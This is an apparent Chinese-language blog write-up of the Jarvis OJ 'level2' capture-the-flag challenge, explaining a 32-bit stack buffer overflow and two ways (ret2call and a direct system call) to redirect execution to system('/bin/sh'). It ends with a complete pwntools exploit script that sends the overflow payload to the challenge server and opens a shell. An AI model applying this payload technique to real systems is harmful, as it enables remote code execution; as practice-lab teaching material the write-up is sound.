Jarvis Oj Pwn 学习笔记-level2

32位构造栈参数溢出!

恭敬地呈上链接:

https://files.cnblogs.com/files/Magpie/level2.rar

nc pwn2.jarvisoj.com 9878

首先....日常checksec:

程序扔进IDA锅里:

找到了溢出点~下面我们开始食用:

既然有调用system函数,肯定是可以直接call一波的,只是还缺一个参数,我们看到了read函数心里不禁笑嘻嘻.....

然而稍安勿躁,心存侥幸的看一波string:

妈耶~善良的出题人

好了,只要按32位栈传参规则通过溢出构造好栈内容即可~

在此提供两种食用方式:

 1.ret2call:

(main函数里0x804849e也有一个call)

打到这里,call指令本身执行时就会自动压ret_address,所以栈参数只溢出进一个"/bin/sh"的地址就行了

2.ret2raw_system:

打到这里,这样劫持过去是通过ret指令过去的,只改动了eip,没有压栈,所以和正常调用比,栈结构上是缺少一个ret_addr的,

因此在打payload的时候,要手动垫一个ret_addr~

 我们上exp(用的是第一种方法):

1 from pwn import *
2 context(arch = 'i386', os = 'linux')
3 r = remote('pwn2.jarvisoj.com', 9878)
4 junk='A'*140
5 ret='\x9e\x84\x04\x08'
6 cmmd='\x24\xa0\x04\x08'
7 payload=junk+ret+cmmd
8 r.send(payload)
9 r.interactive()

(饱嗝~)

猜你喜欢

转载自www.cnblogs.com/Magpie/p/9117218.html